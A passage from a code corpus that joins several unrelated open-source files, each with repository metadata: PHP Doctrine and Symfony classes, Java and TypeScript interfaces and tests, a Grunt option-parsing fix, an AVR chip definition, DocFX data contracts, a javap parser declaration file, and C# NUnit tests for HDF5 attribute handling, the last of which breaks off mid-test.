<?php namespace Sitpac\ExtranetBundle\Entity; use Doctrine\ORM\Mapping as ORM; /** * DisponibilidadVehi * * @ORM\Table(name="disponibilidad_vehi") * @ORM\Entity */ class DisponibilidadVehi { /** * @var integer * * @ORM\Column(name="id_disp_vehi", type="integer", nullable=false) * @ORM\Id * @ORM\GeneratedValue(strategy="IDENTITY") */ private $idDispVehi; /** * @var \DateTime * * @ORM\Column(name="desde", type="datetime", nullable=false) */ private $desde; /** * @var \DateTime * * @ORM\Column(name="hasta", type="datetime", nullable=false) */ private $hasta; /** * @var string * * @ORM\Column(name="estado", type="string", length=100, nullable=false) */ private $estado; /** * @var \ServicioVehiculo * * @ORM\ManyToOne(targetEntity="ServicioVehiculo") * @ORM\JoinColumns({ * @ORM\JoinColumn(name="id_serv_vehi", referencedColumnName="idservicio_vehiculo") * }) */ private $idServVehi; /** * Get idDispVehi * * @return integer */ public function getIdDispVehi() { return $this->idDispVehi; } /** * Set desde * * @param \DateTime $desde * @return DisponibilidadVehi */ public function setDesde($desde) { $this->desde = $desde; return $this; } /** * Get desde * * @return \DateTime */ public function getDesde() { return $this->desde; } /** * Set hasta * * @param \DateTime $hasta * @return DisponibilidadVehi */ public function setHasta($hasta) { $this->hasta = $hasta; return $this; } /** * Get hasta * * @return \DateTime */ public function getHasta() { return $this->hasta; } /** * Set estado * * @param string $estado * @return DisponibilidadVehi */ public function setEstado($estado) { $this->estado = $estado; return $this; } /** * Get estado * * @return string */ public function getEstado() { return $this->estado; } /** * Set idServVehi * * @param \Sitpac\ExtranetBundle\Entity\ServicioVehiculo $idServVehi * @return DisponibilidadVehi */ public function setIdServVehi(\Sitpac\ExtranetBundle\Entity\ServicioVehiculo $idServVehi = null) { $this->idServVehi = $idServVehi; return $this; } /** * Get idServVehi * * @return \Sitpac\ExtranetBundle\Entity\ServicioVehiculo */ public function getIdServVehi() { return $this->idServVehi; } }
jorgeibarra87/SITPAC
src/Sitpac/ExtranetBundle/Entity/DisponibilidadVehi.php
PHP
mit
2,806
<?php /* * This file is part of the Sylius package. * * (c) Paweł Jędrzejewski * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Sylius\Bundle\ResourceBundle; use Sylius\Bundle\ResourceBundle\DependencyInjection\Compiler\ObjectToIdentifierServicePass; use Symfony\Component\DependencyInjection\ContainerBuilder; use Symfony\Component\HttpKernel\Bundle\Bundle; /** * Resource bundle. * * @author Paweł Jędrzejewski <pjedrzejewski@sylius.pl> */ class SyliusResourceBundle extends Bundle { // Bundle driver list. const DRIVER_DOCTRINE_ORM = 'doctrine/orm'; const DRIVER_DOCTRINE_MONGODB_ODM = 'doctrine/mongodb-odm'; const DRIVER_DOCTRINE_PHPCR_ODM = 'doctrine/phpcr-odm'; /** * {@inheritdoc} */ public function build(ContainerBuilder $container) { $container->addCompilerPass(new ObjectToIdentifierServicePass()); } }
Symfomany/Sylius
src/Sylius/Bundle/ResourceBundle/SyliusResourceBundle.php
PHP
mit
976
package photoeffect.effect.otherblur; import java.awt.image.BufferedImage; import measure.generic.IGenericWorkload; public interface IEffectOtherBlur extends IGenericWorkload<BufferedImage> { }
wolfposd/jadexphoto
photoeffect/src/photoeffect/effect/otherblur/IEffectOtherBlur.java
Java
mit
198
import Store from '../../Store'; import Expires from '../../Expires'; import { lpush } from '../lpush'; import { lpushx } from '../lpushx'; describe('Test lpushx command', () => { it('should prepend values to list', () => { const redis = new MockRedis(); redis.set('mylist', []); expect((<any>redis).lpushx('mylist', 'v1')).toBe(1); expect((<any>redis).lpushx('mylist1', 'v2')).toBe(0); expect(redis.get('mylist1')).toBeNull(); }); }); class MockRedis { private data: Store; constructor() { this.data = new Store(new Expires()); (<any>this)['lpush'] = lpush.bind(this); (<any>this)['lpushx'] = lpushx.bind(this); } get(key: string) { return this.data.get(key) || null; } set(key: string, value: any) { return this.data.set(key, value); } }
nileshmali/ioredis-in-memory
src/commands/__tests__/lpushx.spec.ts
TypeScript
mit
800
/** * Reparse the Grunt command line options flags. * * Using the arguments parsing logic from Grunt: * https://github.com/gruntjs/grunt/blob/master/lib/grunt/cli.js */ module.exports = function(grunt){ // Get the current Grunt CLI instance. var nopt = require('nopt'), parsedOptions = parseOptions(nopt, grunt.cli.optlist); grunt.log.debug('(nopt-grunt-fix) old flags: ', grunt.option.flags()); // Reassign the options. resetOptions(grunt, parsedOptions); grunt.log.debug('(nopt-grunt-fix) new flags: ', grunt.option.flags()); return grunt; }; // Normalise the parameters and then parse them. function parseOptions(nopt, optlist){ var params = getParams(optlist); var parsedOptions = nopt(params.known, params.aliases, process.argv, 2); initArrays(optlist, parsedOptions); return parsedOptions; } // Reassign the options on the Grunt instance. function resetOptions(grunt, parsedOptions){ for (var i in parsedOptions){ if (parsedOptions.hasOwnProperty(i) && i != 'argv'){ grunt.option(i, parsedOptions[i]); } } } // Parse `optlist` into a form that nopt can handle. function getParams(optlist){ var aliases = {}; var known = {}; Object.keys(optlist).forEach(function(key) { var short = optlist[key].short; if (short) { aliases[short] = '--' + key; } known[key] = optlist[key].type; }); return { known: known, aliases: aliases } } // Initialize any Array options that weren't initialized. function initArrays(optlist, parsedOptions){ Object.keys(optlist).forEach(function(key) { if (optlist[key].type === Array && !(key in parsedOptions)) { parsedOptions[key] = []; } }); }
widgetworks/nopt-grunt-fix
index.js
JavaScript
mit
1,652
module.exports = { "name": "ATmega16HVB", "timeout": 200, "stabDelay": 100, "cmdexeDelay": 25, "syncLoops": 32, "byteDelay": 0, "pollIndex": 3, "pollValue": 83, "preDelay": 1, "postDelay": 1, "pgmEnable": [172, 83, 0, 0], "erase": { "cmd": [172, 128, 0, 0], "delay": 45, "pollMethod": 1 }, "flash": { "write": [64, 76, 0], "read": [32, 0, 0], "mode": 65, "blockSize": 128, "delay": 10, "poll2": 0, "poll1": 0, "size": 16384, "pageSize": 128, "pages": 128, "addressOffset": null }, "eeprom": { "write": [193, 194, 0], "read": [160, 0, 0], "mode": 65, "blockSize": 4, "delay": 10, "poll2": 0, "poll1": 0, "size": 512, "pageSize": 4, "pages": 128, "addressOffset": 0 }, "sig": [30, 148, 13], "signature": { "size": 3, "startAddress": 0, "read": [48, 0, 0, 0] }, "fuses": { "startAddress": 0, "write": { "low": [172, 160, 0, 0], "high": [172, 168, 0, 0] }, "read": { "low": [80, 0, 0, 0], "high": [88, 8, 0, 0] } } }
noopkat/avrgirl-chips-json
atmega/atmega16hvb.js
JavaScript
mit
1,112
// Copyright (c) Microsoft. All rights reserved. // Licensed under the MIT license. See LICENSE file in the project root for full license information. namespace Microsoft.DocAsCode.DataContracts.Common { using System; using Newtonsoft.Json; using YamlDotNet.Serialization; using Microsoft.DocAsCode.Utility; [Serializable] public class SourceDetail { [YamlMember(Alias = "remote")] [JsonProperty("remote")] public GitDetail Remote { get; set; } [YamlMember(Alias = "base")] [JsonProperty("base")] public string BasePath { get; set; } [YamlMember(Alias = "id")] [JsonProperty("id")] public string Name { get; set; } /// <summary> /// The url path for current source, should be resolved at some late stage /// </summary> [YamlMember(Alias = Constants.PropertyName.Href)] [JsonProperty(Constants.PropertyName.Href)] public string Href { get; set; } /// <summary> /// The local path for current source, should be resolved to be relative path at some late stage /// </summary> [YamlMember(Alias = "path")] [JsonProperty("path")] public string Path { get; set; } [YamlMember(Alias = "startLine")] [JsonProperty("startLine")] public int StartLine { get; set; } [YamlMember(Alias = "endLine")] [JsonProperty("endLine")] public int EndLine { get; set; } [YamlMember(Alias = "content")] [JsonProperty("content")] public string Content { get; set; } /// <summary> /// The external path for current source if it is not locally available /// </summary> [YamlMember(Alias = "isExternal")] [JsonProperty("isExternal")] public bool IsExternalPath { get; set; } } }
sergey-vershinin/docfx
src/Microsoft.DocAsCode.DataContracts.Common/SourceDetail.cs
C#
mit
1,881
export function JavapParser(input: any): this; export class JavapParser { constructor(input: any); _interp: any; ruleNames: string[]; literalNames: (string | null)[]; symbolicNames: (string | null)[]; constructor: typeof JavapParser; get atn(): any; compilationUnit(): CompilationUnitContext; state: number | undefined; sourceDeclaration(): SourceDeclarationContext; classOrInterface(): ClassOrInterfaceContext; classDeclaration(): ClassDeclarationContext; interfaceDeclaration(): InterfaceDeclarationContext; classModifier(): ClassModifierContext; interfaceModifier(): InterfaceModifierContext; typeList(): TypeListContext; type(): TypeContext; subType(): SubTypeContext; packageName(): PackageNameContext; typeArguments(): TypeArgumentsContext; typeArgument(): TypeArgumentContext; classBody(): ClassBodyContext; interfaceBody(): InterfaceBodyContext; modifier(): ModifierContext; classMember(): ClassMemberContext; interfaceMember(): InterfaceMemberContext; constructorDeclaration(): ConstructorDeclarationContext; fieldDeclaration(): FieldDeclarationContext; methodDeclaration(): MethodDeclarationContext; throwsException(): ThrowsExceptionContext; varargs(): VarargsContext; methodArguments(): MethodArgumentsContext; arrayBrackets(): ArrayBracketsContext; } export namespace JavapParser { export const EOF: number; export const T__0: number; export const T__1: number; export const T__2: number; export const T__3: number; export const T__4: number; export const T__5: number; export const T__6: number; export const T__7: number; export const T__8: number; export const T__9: number; export const T__10: number; export const T__11: number; export const T__12: number; export const T__13: number; export const T__14: number; export const T__15: number; export const T__16: number; export const T__17: number; export const T__18: number; export const T__19: number; export const T__20: number; export const T__21: number; export const T__22: number; export const T__23: number; export const T__24: number; export const T__25: number; export const T__26: number; export const T__27: number; export const T__28: number; export const T__29: number; export const T__30: number; export const T__31: number; export const T__32: number; export const T__33: number; export const T__34: number; export const Identifier: number; export const WS: number; export const RULE_compilationUnit: number; export const RULE_sourceDeclaration: number; export const RULE_classOrInterface: number; export const RULE_classDeclaration: number; export const RULE_interfaceDeclaration: number; export const RULE_classModifier: number; export const RULE_interfaceModifier: number; export const RULE_typeList: number; export const RULE_type: number; export const RULE_subType: number; export const RULE_packageName: number; export const RULE_typeArguments: number; export const RULE_typeArgument: number; export const RULE_classBody: number; export const RULE_interfaceBody: number; export const RULE_modifier: number; export const RULE_classMember: number; export const RULE_interfaceMember: number; export const RULE_constructorDeclaration: number; export const RULE_fieldDeclaration: number; export const RULE_methodDeclaration: number; export const RULE_throwsException: number; export const RULE_varargs: number; export const RULE_methodArguments: number; export const RULE_arrayBrackets: number; export { CompilationUnitContext }; export { SourceDeclarationContext }; export { ClassOrInterfaceContext }; export { ClassDeclarationContext }; export { InterfaceDeclarationContext }; export { ClassModifierContext }; export { InterfaceModifierContext }; export { TypeListContext }; export { TypeContext }; export { SubTypeContext }; export { PackageNameContext }; export { TypeArgumentsContext }; export { TypeArgumentContext }; export { ClassBodyContext }; export { InterfaceBodyContext }; export { ModifierContext }; export { ClassMemberContext }; export { InterfaceMemberContext }; export { ConstructorDeclarationContext }; export { FieldDeclarationContext }; export { MethodDeclarationContext }; export { ThrowsExceptionContext }; export { VarargsContext }; export { MethodArgumentsContext }; export { ArrayBracketsContext }; } declare function CompilationUnitContext(parser: any, parent: any, invokingState: any): this; declare class CompilationUnitContext { constructor(parser: any, parent: any, invokingState: any); parser: any; ruleIndex: number; constructor: typeof CompilationUnitContext; sourceDeclaration(i: any): any; classOrInterface(i: any): any; EOF(): any; enterRule(listener: any): void; exitRule(listener: any): void; accept(visitor: any): any; } declare function SourceDeclarationContext(parser: any, parent: any, invokingState: any): this; declare class SourceDeclarationContext { constructor(parser: any, parent: any, invokingState: any); parser: any; ruleIndex: number; constructor: typeof SourceDeclarationContext; enterRule(listener: any): void; exitRule(listener: any): void; accept(visitor: any): any; } declare function ClassOrInterfaceContext(parser: any, parent: any, invokingState: any): this; declare class ClassOrInterfaceContext { constructor(parser: any, parent: any, invokingState: any); parser: any; ruleIndex: number; constructor: typeof ClassOrInterfaceContext; classDeclaration(): any; interfaceDeclaration(): any; enterRule(listener: any): void; exitRule(listener: any): void; accept(visitor: any): any; } declare function ClassDeclarationContext(parser: any, parent: any, invokingState: any): this; declare class ClassDeclarationContext { constructor(parser: any, parent: any, invokingState: any); parser: any; ruleIndex: number; constructor: typeof ClassDeclarationContext; type(i: any): any; classBody(): any; classModifier(i: any): any; typeList(): any; enterRule(listener: any): void; exitRule(listener: any): void; accept(visitor: any): any; } declare function InterfaceDeclarationContext(parser: any, parent: any, invokingState: any): this; declare class InterfaceDeclarationContext { constructor(parser: any, parent: any, invokingState: any); parser: any; ruleIndex: number; constructor: typeof InterfaceDeclarationContext; type(): any; interfaceBody(): any; interfaceModifier(i: any): any; typeList(): any; enterRule(listener: any): void; exitRule(listener: any): void; accept(visitor: any): any; } declare function ClassModifierContext(parser: any, parent: any, invokingState: any): this; declare class ClassModifierContext { constructor(parser: any, parent: any, invokingState: any); parser: any; ruleIndex: number; constructor: typeof ClassModifierContext; enterRule(listener: any): void; exitRule(listener: any): void; accept(visitor: any): any; } declare function InterfaceModifierContext(parser: any, parent: any, invokingState: any): this; declare class InterfaceModifierContext { constructor(parser: any, parent: any, invokingState: any); parser: any; ruleIndex: number; constructor: typeof InterfaceModifierContext; enterRule(listener: any): void; exitRule(listener: any): void; accept(visitor: any): any; } declare function TypeListContext(parser: any, parent: any, invokingState: any): this; declare class TypeListContext { constructor(parser: any, parent: any, invokingState: any); parser: any; ruleIndex: number; constructor: typeof TypeListContext; type(i: any): any; enterRule(listener: any): void; exitRule(listener: any): void; accept(visitor: any): any; } declare function TypeContext(parser: any, parent: any, invokingState: any): this; declare class TypeContext { constructor(parser: any, parent: any, invokingState: any); parser: any; ruleIndex: number; constructor: typeof TypeContext; Identifier(): any; packageName(): any; typeArguments(): any; subType(): any; enterRule(listener: any): void; exitRule(listener: any): void; accept(visitor: any): any; } declare function SubTypeContext(parser: any, parent: any, invokingState: any): this; declare class SubTypeContext { constructor(parser: any, parent: any, invokingState: any); parser: any; ruleIndex: number; constructor: typeof SubTypeContext; Identifier(): any; typeArguments(): any; enterRule(listener: any): void; exitRule(listener: any): void; accept(visitor: any): any; } declare function PackageNameContext(parser: any, parent: any, invokingState: any): this; declare class PackageNameContext { constructor(parser: any, parent: any, invokingState: any); parser: any; ruleIndex: number; constructor: typeof PackageNameContext; Identifier(i: any): any; enterRule(listener: any): void; exitRule(listener: any): void; accept(visitor: any): any; } declare function TypeArgumentsContext(parser: any, parent: any, invokingState: any): this; declare class TypeArgumentsContext { constructor(parser: any, parent: any, invokingState: any); parser: any; ruleIndex: number; constructor: typeof TypeArgumentsContext; arrayBrackets(i: any): any; typeArgument(i: any): any; enterRule(listener: any): void; exitRule(listener: any): void; accept(visitor: any): any; } declare function TypeArgumentContext(parser: any, parent: any, invokingState: any): this; declare class TypeArgumentContext { constructor(parser: any, parent: any, invokingState: any); parser: any; ruleIndex: number; constructor: typeof TypeArgumentContext; type(i: any): any; Identifier(): any; enterRule(listener: any): void; exitRule(listener: any): void; accept(visitor: any): any; } declare function ClassBodyContext(parser: any, parent: any, invokingState: any): this; declare class ClassBodyContext { constructor(parser: any, parent: any, invokingState: any); parser: any; ruleIndex: number; constructor: typeof ClassBodyContext; classMember(i: any): any; enterRule(listener: any): void; exitRule(listener: any): void; accept(visitor: any): any; } declare function InterfaceBodyContext(parser: any, parent: any, invokingState: any): this; declare class InterfaceBodyContext { constructor(parser: any, parent: any, invokingState: any); parser: any; ruleIndex: number; constructor: typeof InterfaceBodyContext; interfaceMember(i: any): any; enterRule(listener: any): void; exitRule(listener: any): void; accept(visitor: any): any; } declare function ModifierContext(parser: any, parent: any, invokingState: any): this; declare class ModifierContext { constructor(parser: any, parent: any, invokingState: any); parser: any; ruleIndex: number; constructor: typeof ModifierContext; enterRule(listener: any): void; exitRule(listener: any): void; accept(visitor: any): any; } declare function ClassMemberContext(parser: any, parent: any, invokingState: any): this; declare class ClassMemberContext { constructor(parser: any, parent: any, invokingState: any); parser: any; ruleIndex: number; constructor: typeof ClassMemberContext; constructorDeclaration(): any; fieldDeclaration(): any; methodDeclaration(): any; enterRule(listener: any): void; exitRule(listener: any): void; accept(visitor: any): any; } declare function InterfaceMemberContext(parser: any, parent: any, invokingState: any): this; declare class InterfaceMemberContext { constructor(parser: any, parent: any, invokingState: any); parser: any; ruleIndex: number; constructor: typeof InterfaceMemberContext; fieldDeclaration(): any; methodDeclaration(): any; enterRule(listener: any): void; exitRule(listener: any): void; accept(visitor: any): any; } declare function ConstructorDeclarationContext(parser: any, parent: any, invokingState: any): this; declare class ConstructorDeclarationContext { constructor(parser: any, parent: any, invokingState: any); parser: any; ruleIndex: number; constructor: typeof ConstructorDeclarationContext; type(): any; methodArguments(): any; modifier(i: any): any; typeArguments(): any; throwsException(): any; enterRule(listener: any): void; exitRule(listener: any): void; accept(visitor: any): any; } declare function FieldDeclarationContext(parser: any, parent: any, invokingState: any): this; declare class FieldDeclarationContext { constructor(parser: any, parent: any, invokingState: any); parser: any; ruleIndex: number; constructor: typeof FieldDeclarationContext; type(): any; Identifier(): any; modifier(i: any): any; enterRule(listener: any): void; exitRule(listener: any): void; accept(visitor: any): any; } declare function MethodDeclarationContext(parser: any, parent: any, invokingState: any): this; declare class MethodDeclarationContext { constructor(parser: any, parent: any, invokingState: any); parser: any; ruleIndex: number; constructor: typeof MethodDeclarationContext; type(): any; Identifier(): any; methodArguments(): any; modifier(i: any): any; typeArguments(): any; throwsException(): any; enterRule(listener: any): void; exitRule(listener: any): void; accept(visitor: any): any; } declare function ThrowsExceptionContext(parser: any, parent: any, invokingState: any): this; declare class ThrowsExceptionContext { constructor(parser: any, parent: any, invokingState: any); parser: any; ruleIndex: number; constructor: typeof ThrowsExceptionContext; typeList(): any; enterRule(listener: any): void; exitRule(listener: any): void; accept(visitor: any): any; } declare function VarargsContext(parser: any, parent: any, invokingState: any): this; declare class VarargsContext { constructor(parser: any, parent: any, invokingState: any); parser: any; ruleIndex: number; constructor: typeof VarargsContext; type(): any; enterRule(listener: any): void; exitRule(listener: any): void; accept(visitor: any): any; } declare function MethodArgumentsContext(parser: any, parent: any, invokingState: any): this; declare class MethodArgumentsContext { constructor(parser: any, parent: any, invokingState: any); parser: any; ruleIndex: number; constructor: typeof MethodArgumentsContext; typeList(): any; varargs(): any; enterRule(listener: any): void; exitRule(listener: any): void; accept(visitor: any): any; } declare function ArrayBracketsContext(parser: any, parent: any, invokingState: any): this; declare class ArrayBracketsContext { constructor(parser: any, parent: any, invokingState: any); parser: any; ruleIndex: number; constructor: typeof ArrayBracketsContext; enterRule(listener: any): void; exitRule(listener: any): void; accept(visitor: any): any; } export {};
wizawu/1c
dist/parser/javap/JavapParser.d.ts
TypeScript
mit
15,534
/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * Copyright by Brian Nelson 2016. * * See license in repo for more information * * https://github.com/sharpHDF/sharpHDF * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ using System; using System.Collections.Generic; using NUnit.Framework; using sharpHDF.Library.Enums; using sharpHDF.Library.Exceptions; using sharpHDF.Library.Objects; namespace sharpHDF.Library.Tests.Objects { [TestFixture] public class Hdf5AttributeTests : BaseTest { [OneTimeSetUp] public void Setup() { DirectoryName = @"c:\temp\hdf5tests\attributetests"; CleanDirectory(); } [Test] public void CreateAttributeOnFile() { string fileName = GetFilename("createattributeonfile.h5"); Hdf5File file = Hdf5File.Create(fileName); file.Attributes.Add("attribute1", "test"); file.Attributes.Add("attribute2", 5); Assert.AreEqual(2, file.Attributes.Count); file.Close(); } [Test] public void CreateAttributeTwiceOnFile() { string fileName = GetFilename("createattributetwiceonfile.h5"); Hdf5File file = Hdf5File.Create(fileName); file.Attributes.Add("attribute1", "test"); try { file.Attributes.Add("attribute1", "test2"); Assert.Fail("Should have thrown an exception"); } catch (Exception ex) { file.Close(); Assert.IsInstanceOf<Hdf5AttributeAlreadyExistException>(ex); } } [Test] public void CreateAttributeTwiceOnGroup() { string fileName = GetFilename("createattributetwiceongroup.h5"); Hdf5File file = Hdf5File.Create(fileName); Hdf5Group group = file.Groups.Add("test"); group.Attributes.Add("attribute1", "test"); try { group.Attributes.Add("attribute1", "test2"); Assert.Fail("Should have thrown an exception"); } catch (Exception ex) { file.Close(); Assert.IsInstanceOf<Hdf5AttributeAlreadyExistException>(ex); } } [Test] public void CreateAttributeTwiceOnDataset() { string fileName = GetFilename("createattributetwiceondataset.h5"); Hdf5File file = Hdf5File.Create(fileName); Hdf5Group group = file.Groups.Add("test"); List<Hdf5DimensionProperty> dimensionProps = new List<Hdf5DimensionProperty>(); Hdf5DimensionProperty prop = new Hdf5DimensionProperty { CurrentSize = 1 }; dimensionProps.Add(prop); Hdf5Dataset dataset = group.Datasets.Add("dataset1", Hdf5DataTypes.Int32, dimensionProps); dataset.Attributes.Add("attribute1", "test"); try { dataset.Attributes.Add("attribute1", "test2"); Assert.Fail("Should have thrown an exception"); } catch (Exception ex) { file.Close(); Assert.IsInstanceOf<Hdf5AttributeAlreadyExistException>(ex); } } [Test] public void UpdateAttributeWithMismatchOnFile() { string fileName = GetFilename("updateattributewithmistmachonfile.h5"); Hdf5File file = Hdf5File.Create(fileName); Hdf5Attribute attribute = file.Attributes.Add("attribute1", "test"); try { attribute.Value = 5; file.Attributes.Update(attribute); Assert.Fail("Should have thrown an exception"); } catch (Exception ex) { file.Close(); Assert.IsInstanceOf<Hdf5TypeMismatchException>(ex); } } [Test] public void UpdateAttributeWithMismatchOnGroup() { string fileName = GetFilename("updateattributewithmistmachongroup.h5"); Hdf5File file = Hdf5File.Create(fileName); Hdf5Group group = file.Groups.Add("group"); Hdf5Attribute attribute = group.Attributes.Add("attribute1", "test"); try { attribute.Value = 5; group.Attributes.Update(attribute); Assert.Fail("Should have thrown an exception"); } catch (Exception ex) { file.Close(); Assert.IsInstanceOf<Hdf5TypeMismatchException>(ex); } } [Test] public void UpdateAttributeWithMismatchOnDataset() { string fileName = GetFilename("updateattributewithmistmachondataset.h5"); Hdf5File file = Hdf5File.Create(fileName); Hdf5Group group = file.Groups.Add("group"); List<Hdf5DimensionProperty> dimensionProps = new List<Hdf5DimensionProperty>(); Hdf5DimensionProperty prop = new Hdf5DimensionProperty { CurrentSize = 1 }; dimensionProps.Add(prop); Hdf5Dataset dataset = group.Datasets.Add("dataset1", Hdf5DataTypes.Int32, dimensionProps); Hdf5Attribute attribute = dataset.Attributes.Add("attribute1", "test"); try { attribute.Value = 5; dataset.Attributes.Update(attribute); Assert.Fail("Should have thrown an exception"); } catch (Exception ex) { file.Close(); Assert.IsInstanceOf<Hdf5TypeMismatchException>(ex); } } [Test] public void UpdateStringAttributeOnFile() { string fileName = GetFilename("updatestringattributeonfile.h5"); Hdf5File file = Hdf5File.Create(fileName); Hdf5Attribute attribute = file.Attributes.Add("attribute1", "test"); attribute.Value = "test2"; file.Attributes.Update(attribute); file.Close(); file = new Hdf5File(fileName); attribute = file.Attributes[0]; Assert.AreEqual("test2", attribute.Value); } [Test] public void UpdateStringAttributeOnGroup() { string fileName = GetFilename("updatestringattributeongroup.h5"); Hdf5File file = Hdf5File.Create(fileName); Hdf5Group group = file.Groups.Add("group"); Hdf5Attribute attribute = group.Attributes.Add("attribute1", "test"); attribute.Value = "test2"; group.Attributes.Update(attribute); file.Close(); file = new Hdf5File(fileName); group = file.Groups[0]; attribute = group.Attributes[0]; Assert.AreEqual("test2", attribute.Value); } [Test] public void UpdateStringAttributeOnDataset() { string fileName = GetFilename("updatestringattributeondataset.h5"); Hdf5File file = Hdf5File.Create(fileName); Hdf5Group group = file.Groups.Add("group"); List<Hdf5DimensionProperty> dimensionProps = new List<Hdf5DimensionProperty>(); Hdf5DimensionProperty prop = new Hdf5DimensionProperty { CurrentSize = 1 }; dimensionProps.Add(prop); Hdf5Dataset dataset = group.Datasets.Add("dataset1", Hdf5DataTypes.Int32, dimensionProps); Hdf5Attribute attribute = dataset.Attributes.Add("attribute1", "test"); attribute.Value = "test2"; dataset.Attributes.Update(attribute); file.Close(); file = new Hdf5File(fileName); group = file.Groups[0]; dataset = group.Datasets[0]; attribute = dataset.Attributes[0]; Assert.AreEqual("test2", attribute.Value); } [Test] public void GetAttributeOnFile() { string fileName = GetFilename("getattributeonfile.h5"); Hdf5File file = Hdf5File.Create(fileName); file.Attributes.Add("attribute1", "test"); file.Attributes.Add("attribute2", 5); Assert.AreEqual(2, file.Attributes.Count); file.Close(); file = new Hdf5File(fileName); var attibutes = file.Attributes; Assert.AreEqual(2, attibutes.Count); var attribute1 = attibutes[0]; Assert.AreEqual("attribute1", attribute1.Name); Assert.AreEqual("test", attribute1.Value); var attribute2 = attibutes[1]; Assert.AreEqual("attribute2", attribute2.Name); Assert.AreEqual(5, attribute2.Value); } [Test] public void CreateAttributeOnGroup() { string fileName = GetFilename("createattributeongroup.h5"); Hdf5File file = Hdf5File.Create(fileName); Hdf5Group group = file.Groups.Add("group1"); group.Attributes.Add("attribute1", "test"); group.Attributes.Add("attribute2", 5); Assert.AreEqual(2, group.Attributes.Count); file.Close(); } [Test] public void GetAttributeOnGroup() { string fileName = GetFilename("getattributeongroup.h5"); Hdf5File file = Hdf5File.Create(fileName); Hdf5Group group = file.Groups.Add("group1"); group.Attributes.Add("attribute1", "test"); group.Attributes.Add("attribute2", 5); Assert.AreEqual(2, group.Attributes.Count); file.Close(); file = new Hdf5File(fileName); group = file.Groups[0]; var attibutes = group.Attributes; Assert.AreEqual(2, attibutes.Count); var attribute1 = attibutes[0]; Assert.AreEqual("attribute1", attribute1.Name); Assert.AreEqual("test", attribute1.Value); var attribute2 = attibutes[1]; Assert.AreEqual("attribute2", attribute2.Name); Assert.AreEqual(5, attribute2.Value); } [Test] public void CreateAttributeOnDataset() { string fileName = GetFilename("createattributeondataset.h5"); Hdf5File file = Hdf5File.Create(fileName); Hdf5Group group = file.Groups.Add("group1"); List<Hdf5DimensionProperty> dimensionProps = new List<Hdf5DimensionProperty>(); Hdf5DimensionProperty prop = new Hdf5DimensionProperty {CurrentSize = 1}; dimensionProps.Add(prop); Hdf5Dataset dataset = group.Datasets.Add("dataset1", Hdf5DataTypes.Int32, dimensionProps); dataset.Attributes.Add("attribute1", "test"); dataset.Attributes.Add("attribute2", 5); Assert.AreEqual(2, dataset.Attributes.Count); file.Close(); } [Test] public void GetAttributeOnDataset() { string fileName = GetFilename("getattributeondataset.h5"); Hdf5File file = Hdf5File.Create(fileName); Hdf5Group group = file.Groups.Add("group1"); List<Hdf5DimensionProperty> dimensionProps = new List<Hdf5DimensionProperty>(); Hdf5DimensionProperty prop = new Hdf5DimensionProperty { CurrentSize = 1 }; dimensionProps.Add(prop); Hdf5Dataset dataset = group.Datasets.Add("dataset1", Hdf5DataTypes.Int32, dimensionProps); dataset.Attributes.Add("attribute1", "test"); dataset.Attributes.Add("attribute2", 5); Assert.AreEqual(2, dataset.Attributes.Count); file.Close(); file = new Hdf5File(fileName); group = file.Groups[0]; dataset = group.Datasets[0]; var attibutes = dataset.Attributes; Assert.AreEqual(2, attibutes.Count); var attribute1 = attibutes[0]; Assert.AreEqual("attribute1", attribute1.Name); Assert.AreEqual("test", attribute1.Value); var attribute2 = attibutes[1]; Assert.AreEqual("attribute2", attribute2.Name); Assert.AreEqual(5, attribute2.Value); } [Test] public void DeleteAttributeOnFile() { string fileName = GetFilename("deleteattributeonfile.h5"); Hdf5File file = Hdf5File.Create(fileName); file.Attributes.Add("attribute1", "test"); file.Attributes.Add("attribute2", 5); Assert.AreEqual(2, file.Attributes.Count); file.Close(); file = new Hdf5File(fileName); var attibutes = file.Attributes; Assert.AreEqual(2, attibutes.Count); var attribute1 = attibutes[0]; Assert.AreEqual("attribute1", attribute1.Name); Assert.AreEqual("test", attribute1.Value); var attribute2 = attibutes[1]; Assert.AreEqual("attribute2", attribute2.Name); Assert.AreEqual(5, attribute2.Value); file.Attributes.Delete(attribute1); Assert.AreEqual(1, attibutes.Count); attribute2 = attibutes[0]; Assert.AreEqual("attribute2", attribute2.Name); Assert.AreEqual(5, attribute2.Value); file.Close(); file = new Hdf5File(fileName); attibutes = file.Attributes; Assert.AreEqual(1, attibutes.Count); attribute2 = attibutes[0]; Assert.AreEqual("attribute2", attribute2.Name); Assert.AreEqual(5, attribute2.Value); } [Test] public void DeleteAttributeOnGroup() { string fileName = GetFilename("deleteattributeongroup.h5"); Hdf5File file = Hdf5File.Create(fileName); Hdf5Group group = file.Groups.Add("group1"); group.Attributes.Add("attribute1", "test"); group.Attributes.Add("attribute2", 5); Assert.AreEqual(2, group.Attributes.Count); file.Close(); file = new Hdf5File(fileName); group = file.Groups[0]; var attibutes = group.Attributes; Assert.AreEqual(2, attibutes.Count); var attribute1 = attibutes[0]; Assert.AreEqual("attribute1", attribute1.Name); Assert.AreEqual("test", attribute1.Value); var attribute2 = attibutes[1]; Assert.AreEqual("attribute2", attribute2.Name); Assert.AreEqual(5, attribute2.Value); group.Attributes.Delete(attribute1); Assert.AreEqual(1, attibutes.Count); attribute2 = attibutes[0]; Assert.AreEqual("attribute2", attribute2.Name); Assert.AreEqual(5, attribute2.Value); file.Close(); file = new Hdf5File(fileName); group = file.Groups[0]; attibutes = group.Attributes; Assert.AreEqual(1, attibutes.Count); attribute2 = attibutes[0]; Assert.AreEqual("attribute2", attribute2.Name); Assert.AreEqual(5, attribute2.Value); } [Test] public void DeleteAttributeOnDataset() { string fileName = GetFilename("deleteattributeondataset.h5"); Hdf5File file = Hdf5File.Create(fileName); Hdf5Group group = file.Groups.Add("group1"); List<Hdf5DimensionProperty> dimensionProps = new List<Hdf5DimensionProperty>(); Hdf5DimensionProperty prop = new Hdf5DimensionProperty { CurrentSize = 1 }; dimensionProps.Add(prop); Hdf5Dataset dataset = group.Datasets.Add("dataset1", Hdf5DataTypes.Int32, dimensionProps); dataset.Attributes.Add("attribute1", "test"); dataset.Attributes.Add("attribute2", 5); Assert.AreEqual(2, dataset.Attributes.Count); file.Close(); file = new Hdf5File(fileName); group = file.Groups[0]; dataset = group.Datasets[0]; var attibutes = 